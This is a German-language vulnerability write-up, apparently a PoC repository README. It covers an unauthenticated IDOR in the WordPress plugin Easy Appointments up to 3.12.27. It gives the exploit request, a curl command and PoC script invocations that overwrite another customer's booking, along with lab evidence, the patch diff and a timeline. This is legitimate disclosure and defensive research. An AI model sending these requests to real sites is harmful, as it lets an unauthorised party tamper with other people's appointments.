
CVE-2026-61946: Nicht authentifizierter IDOR in Easy Appointments <= 3.12.27
Ich habe eine nicht authentifizierte Insecure Direct Object Reference im WordPress-Plugin Easy Appointments gefunden. Der öffentliche Reservierungs-Endpunkt akzeptierte eine id aus der Query-String und leitete die daraus resultierenden Daten in den replace()-Pfad der Plugin-Datenbank weiter.
Das bedeutete, dass eine neue öffentliche Reservierungsanfrage in ein Update einer bestehenden Terminzeile umgewandelt werden konnte. Es waren weder Login noch Cookies noch ein WordPress-Konto erforderlich. Gib ihr den Primärschlüssel eines anderen Termins, wähle einen echten freien Slot, und das Plugin überschrieb diese Buchung mit vom Angreifer kontrollierten Kunden- und Termindaten.
| CVE | CVE-2026-61946 |
| Plugin | Easy Appointments |
| Slug | easy-appointments |
| Betroffen | <= 3.12.27 |
| Behoben | 3.12.28 |
| Bug-Klasse | Nicht authentifizierte IDOR / benutzerkontrollierter Primärschlüssel (CWE-639) |
| Auswirkung | Beliebige Überschreibung bestehender Termine |
| CVSS | 6,5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Entdecker | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
Der öffentliche Endpunkt akzeptierte eine Anfrage in dieser Form:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
Die id=2 wurde nicht als nicht vertrauenswürdige Objektidentität behandelt. In betroffenen Versionen überstand sie die Eingabefilterung und erreichte den Datenbank-Ersetzungspfad. Wenn Zeile 2 bereits einem anderen Kunden gehörte, aktualisierte die öffentliche Anfrage diese Zeile, anstatt eine neue anzulegen.
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
Easy Appointments stellt den Reservierungs-Handler nicht authentifizierten Besuchern zur Verfügung:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
Das ist für ein öffentliches Buchungsformular zu erwarten. Der Autorisierungsfehler bestand darin, dem Objektschlüssel des Aufrufers in diesem öffentlichen Handler zu vertrauen.
Der angreifbare Ablauf war:
nicht authentifizierter GET
-> action=ea_res_appointment
-> $_GET['id']
-> durch die Reservierungsfeldliste durchgelassen
-> models->replace('ea_appointments', $data, true)
-> bestehende Terminzeile per Primärschlüssel ausgewählt
-> Opferbuchung überschrieben
Nonce- und CAPTCHA-Prüfungen stellten keinen Besitznachweis für die übermittelte Termin-ID her. Sie waren in der von mir getesteten Konfiguration zudem standardmäßig deaktiviert, sodass die Anfrage überhaupt keinen Sitzungszustand benötigte.
Der Endpunkt führte zwar eine Verfügbarkeitsprüfung durch. Das behob das Objekt-Autorisierungsproblem jedoch nicht; es bedeutete nur, dass der Angreifer einen gültigen öffentlichen Standort, einen Service, einen Mitarbeiter, ein Datum und einen aktuell freien Zeitslot wählen musste.
Du benötigst:
1. Ein temporäres WordPress-Labor mit Easy Appointments <= 3.12.27
2. Die ID eines Labor-Termins, den du zu Testzwecken erstellt hast
3. Gültige Standort-, Service- und Mitarbeiter-IDs aus dem öffentlichen Formular
4. Einen Zeitslot, der aktuell frei ist
Führe dann eines der PoCs mit beiden Sicherheitsschaltern aus. Ohne --execute / -Execute geben die Skripte nur die Anfrage aus, die sie senden würden.
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
Manuelles curl:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
Es sind keine Authentifizierungs-Header oder Cookies beteiligt.
Ich habe das Problem reproduziert auf:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Nicht authentifizierte Anfrage
Keine Cookies
Nonce deaktiviert
CAPTCHA deaktiviert
Der Test verwendete eine bestehende Terminzeile, die einem Labor-Opferkonto gehörte:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
Nach der öffentlichen Reservierungsanfrage enthielt derselbe Primärschlüssel:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
Dass Primärschlüssel und Preis unverändert blieben, machte das Update-Verhalten deutlich: Es handelte sich nicht um eine zweite Buchung, die der ersten zufällig ähnelte. Es war die vorhandene Zeile, die ersetzt wurde.
Eine Kopie des Vorher/Nachher-Nachweises befindet sich in evidence/sample-before-after.txt.
Ein nicht authentifizierter Angreifer, der eine Termin-ID kennt oder errät, kann die Kunden- und Planungsdaten dieser Buchung verfälschen. Abhängig vom Workflow der Website kann das Folgendes umfassen:
Kundenname und E-Mail
Telefonnummer
Terminbeschreibung
Standort, Service und zugewiesener Mitarbeiter
Datum und Startzeit
Reservierungsstatus, der vom öffentlichen Ablauf erzeugt wird
Das praktische Ergebnis ist eine stille Buchungsmanipulation: Legitime Termine können umgeleitet, verschoben, beschädigt oder betrieblich unbrauchbar gemacht werden. Das öffentliche Formular legt die gültigen Planungswerte offen, die zum Erstellen der Anfrage erforderlich sind.
Der offizielle Wert ist 6,5 (Medium):
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Die sicherheitsrelevante Änderung in Version 3.12.28 ist herrlich direkt:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
Der öffentliche Buchungsablauf kann den Primärschlüssel des Datenbankobjekts nicht mehr wählen. Die Anfrage wird auf den Pfad für neue Datensätze gezwungen, anstatt einen beliebigen bestehenden Termin ersetzen zu dürfen.
Derselbe Sicherheits-Commit korrigierte auch die Nonce-Optionslogik. Das ist eine nützliche Verteidigung in der Tiefe, aber die Nonce-Validierung allein wäre kein Besitznachweis für eine vom Angreifer gelieferte Termin-ID. Die Entfernung des clientgesteuerten Schlüssels ist der direkte IDOR-Fix.
Der extrahierte Patch befindet sich in patch/fix.diff.
poc/
reproduce.ps1 # PowerShell-Reproduktionsskript für das Labor
reproduce.sh # Bash/curl-Reproduktionsskript für das Labor
evidence/
sample-before-after.txt # Bereinigter Nachweis der Zeilenersetzung
patch/
fix.diff # Sicherheitsrelevanter Upstream-Diff
README.md
| Datum | Ereignis |
|---|---|
| 2026-04-03 | An Patchstack gemeldet |
| 2026-07-07 | Patch validiert |
| 2026-07-16 | Patchstack veröffentlichte den Schwachstelleneintrag |
| 2026-07-23 | CVE-2026-61946 veröffentlicht |
Haftungsausschluss: Dieses PoC wird für defensive Forschung und Verifikation veröffentlicht, nachdem der Patch verfügbar ist. Verwende es nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Genehmigung zum Testen hast.
CVE-2026-61946 – Behoben in Easy Appointments 3.12.28. Betroffen: 3.12.27 und früher.